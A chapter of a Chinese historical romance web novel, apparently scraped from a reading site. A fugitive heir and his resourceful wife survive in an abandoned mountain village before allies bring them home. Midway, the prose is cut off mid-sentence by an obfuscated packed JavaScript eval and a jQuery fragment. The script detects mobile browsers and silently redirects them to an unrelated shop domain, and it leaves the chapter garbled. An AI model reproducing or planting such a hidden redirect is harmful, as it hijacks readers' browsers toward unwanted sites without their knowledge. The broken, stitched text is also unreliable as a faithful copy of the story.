火光映在她乌黑的瞳仁中，温妤用袖口轻蹭额角薄汗，继续往灶里添柴。
动作熟练利落，像是掌管火苗的女神。
时茂蹲在一旁，看着她一点点加米、添水，搅动瓦罐里的糙米粥。
眼中燃起火光。
她怎么什么都会？
温妤用洗净的破瓦片当作锅铲，小心翼翼翻动灶边的干粮，蹲在井边，又打了半桶水上来。
时茂忽然觉得自己像个傻子。
在这间破屋子里，他连一件像样的事都做不好。
而她却做这些事，熟练得像吃饭一样。
温妤洗净村民遗落的陶碗，盛满满两碗粥。
“咱们带的粮食不多，多待几日，恐怕要捕鸟狩猎。”
时茂端起粥碗喝了一口。
米粒粗糙，没有什么滋味，只有米油处有薄薄一层清甜。
但他饿极了，将一整碗喝尽，连碗底最后一粒米都刮干净。
温妤看着他这番举动，眉头微挑。
这位世子从前在国公府用膳，桌上至少八道菜，每样只夹一两筷子，每回剩下大半桌。
她可从没见他刮过碗底。
温妤将自己那碗也推给他：
“给，我不饿。”
时茂怔怔抬起头。
没有烛火，幽暗的月色流进被遗忘的村落，温妤坐在对面的石头上，膝盖合拢，裙摆沾着草屑和泥点。
“回去，我会给你补偿的……”
时茂心中涌起一股滚烫，那碗稀粥将人烘得几乎膨胀。她一无所有地跟在他身后，踏上了这条没有尽头的山路，而他却没有还过她一枚铜板。
温妤低头，只是无所谓地笑了笑，就着他的碗沿喝了一口粥。
她从不在意这些话的真假，只当做耳旁风。
因为这世上的空话太多，多到她已经学会了左耳进右耳出。
他说要补偿，她听听便罢，能不能活着回去都尚未可知，何必去想那些虚无缥缈的事。
将碗搁回石台上，温妤转身去收拾灶边的干粮，语气平淡。
“晚上火光亮，长明火极易被发现。”
说着，又蹲下去拨了拨灶膛里的余烬，火光在她眼底跳了跳。
时茂沉默地将干粮掰成两半，大的一半放在她碗边。
然后他坐在石头上，和她一起，看着灶膛里那一点点将熄未熄的红光。
他闷闷道：“明天我也要干活，你来教我。”
温妤应了。
她起身从包袱里抖出一件旧氅衣，铺在石台上，又将自己的外衫叠了叠，权当枕头。
往里挪动，为他留出半片床铺。
石台又硬又窄，两人躺在上面翻身都难。
月光从破瓦的缝隙里漏下来，照在时茂紧闭的眼睫上。
时茂听着她的呼吸声慢慢变得均匀绵长，方知她睡着，睁开眼侧过头，望着她蜷在旧氅衣里，缩成小小一团。
这是他欠她的。
欠她安稳无虞的日子。
他娶了她，本该让她坐在书房中描字帖，等着春鸢给她送香甜的栗子，等着母亲炖好羹汤让嬷嬷端来。
可如今，她躺在一间连屋顶都不全的破屋子里，盖着他的旧衣裳，枕着自己的外衫。
时茂闭上眼，将手极轻地覆在她的手背上，黑暗中，无声地握了一夜。
两人在石台上凑合一晚。
二月山村的夜晚，温度极低，像是浸了井水的绸缎裹在身上。
温妤蜷在里侧，背抵着冰凉的土墙，时茂躺在床沿外侧，两人紧紧相贴，近得能听见彼此的呼吸。
这一夜谁都没有真正睡着。
远处山道上隐约传来马蹄声时，两人同时睁开了眼。
温妤屏住呼吸，僵在原地，时茂的手已抚上腰间的刀柄，指节收紧。
侧耳许久，那马蹄声渐渐远了，温妤缓缓吐出一口气，翻了个身。
时茂的手从刀柄上移开，黑暗中搁回腰间，两个人静静地守夜，听着彼此的呼吸声，直到天边泛起第一线灰白。
翌日清晨，温妤从枣树下捡了一捧落枣。
将被鸟啄过的拣出来，剩下的井水洗得干干净净，全丢入破瓦罐里，架到火上煮。
火苗舔着瓦罐底，枣子在沸水里翻滚，渐渐煮烂，熬出甜味。
她用两根细树枝当作筷子，夹出枣核，将把枣泥汤倒进碗里，递给时茂。
时茂接过碗，低头喝了一口。
枣泥熬得软烂，入口即化，甜味从舌尖溜进胃里，浑身都暖烘烘的。
时茂低声道：“为何你会做这么多？”
温妤将瓦罐搁在石台上，低头看着灶膛里跳动的火苗。
“在陆家当丫鬟的时候……冬天洗衣裳，井水冷得刺骨，有一回我实在冷得受不住，偷偷跑去厨房灶口烤火，被管事的婆子发现了，罚我跪在雪地里跪了一整夜，回去之后就发了高烧……”
顿了顿，她继续道，“后来有个老厨娘发善心，悄悄教我怎么生火，怎么煮粥，怎么把剩菜叶子炖出肉味。她说，我要是会了这些，往后一个人也能活下来。”
温妤垂着眼睫，“这些东西，只有挨过饿受过冻的人才会学。”
时茂端起那只破碗，垂眼看着碗底一圈深褐色的枣泥。
他十指不沾阳春水。
早起有人替他更衣，净面有人端着铜盆跪地，手巾递上来，水温恰到好处。
他在军营里受了伤，军医排着队给他换药。
他从不知道冬天洗衣裳是什么滋味，不知道井水能冷得刺骨，不知道有人会因为一点小事被罚跪一整夜。
“好啦，”温妤喝完汤，从另外的屋子里拾出一把豁口的锈柴刀，“劈柴会不会？我教你？”
时茂被带到屋角那堆柴火前，弯腰捡起那把豁了口的锈柴刀。
温妤挑挑拣拣，才选出些没受潮的柴火，放在柴墩上，亲自指导。
刀刃钝得几乎砍不动，时茂试了好几次，却总把握不好度。
他空有蛮力，然而柴刀每次都歪歪扭扭砍在木头上，反弹起的劲痛得他几乎脱手。
劈出来的柴也歪歪斜斜，大小不一，木屑溅了满脸。
他学得很快，没有停手，很快劈完了一捆，蹲下去将它们码放整齐。
两人在废弃村子只多待了一日，便收拾包裹离去。
不能长时间停在同一个地方，追兵会循着山道一路搜下去。
他们沿着一条干涸的溪床，缓缓往下走。
溪床里铺满了圆润的鹅卵石，两边是陡峭的土坡，坡上长满了齐腰高的野草。
温妤走在溪床边缘，走了一个多时辰，忽然站住，拉着时茂的袖口闪进一处凹陷的土崖下。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771382|205792||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>头顶的山道果然传来一阵马蹄声，由远及近，又由近及远。
扬起的尘土从崖边簌簌落下，直到马蹄声彻底消失在山风里，两人复又踏上崎岖的山道。
快到山脚时，他们在溪边发现了野芋头。
还是温妤先认出芋头宽大如伞的叶片。
她蹲下去挖，十指插进冰凉的淤泥，指甲缝里嵌满了黑泥，挖出一个拳头大的芋头。
时茂也学着她的样子去挖，手指碰到泥水时有些嫌弃脏污，但他没有缩手，拼命往下挖，最后拖出一个沉甸甸的芋头。
他将芋头双手捧到她面前，不顾全是泥点子的脸，嘴角高高扬起。
在这之后，他挖了一整排芋头。
傍晚，温妤将芋头埋在火堆下面的热灰里烘烤。
火舌舔舐着石头上方的夜色，火星子被山风吹得漫天飞舞，像一群迷了路的萤火虫。
将烤熟的芋头从灰烬中扒出，焦黑外皮一碰即裂，露出里面满满的热气和甜香。
温妤兴高采烈，将第一个芋头递给时茂。
时茂接过，咬了一口，烫得直抽气，粮食珍贵，他到底没舍得吐。
芋肉又粉又甜，带着炭火的焦香，咬下去绵软如粟，舌尖一抿便化开了。
他将整个芋头吃光，连皮上粘连的一层焦甜的芋肉都用指甲刮干净。
旋即叹道：“这是我吃过最好吃的东西。”
倒不是真能够媲美山珍海味，只是因为这是他亲手挖的、是温妤亲手烤的，是他们两个一起找来的食物。
时茂看着天上的星星，忽然觉得如果日子一直这么过下去，也没什么不好。
他劈柴，她生火。
他挖芋头，她烤熟了分他一个。
他既盼着快些安全回府，又觉得这颠沛流离的日子虽然艰难却实在质朴。
从前在国公府，他是世子，她是世子夫人，他们之间隔着门楣、朝局和规矩。
如今在这荒山野岭，他只是时茂，她也只是温妤。
他们夜里靠在一起，仔细辨别远处的马蹄声；清晨醒来，她斜斜歪在他的肩上，两人宛如人世间最平凡的一对夫妻。
又艰难度过了三四日，四皇子的人终于找到了他们。
一辆不起眼的马车停在山脚下，车轮上糊满了泥，马背上全是汗水，显然一路兼程。
接应之人单膝跪地，声音极低，掩不住话里的激奋：“纪公子冒死将东宫账册平安送出！太子每一笔往来，与上呈皆有所差异，那是卖官鬻爵的铁证！四殿下已将账册在朝中公开，并将太子这些年调江南兵、清洗异己的种种劣迹一并公之于众。”
朝野轰动，原本中立的大臣纷纷开始倒向四皇子，民间更是群情激愤。
太子暴虐多年，如今街头巷尾都在传颂四皇子的隐忍与仁厚。
舆论是重要的力量。
这背后也少不了四皇子本人的推波助澜。
那人顿了顿，抬起头来：“四殿下派属下接应世子与夫人。殿下说，请世子回京，共商大计。”
时茂转过身，朝山上望去。
晨光为山顶镀上一层金光，在那片向阳的山坡上，堆着烤芋头的余烬。
山风一吹，便散了。
时茂弯腰替温妤拂去裙摆上的草屑，将她的手握在掌心里。
“我们回家。”
……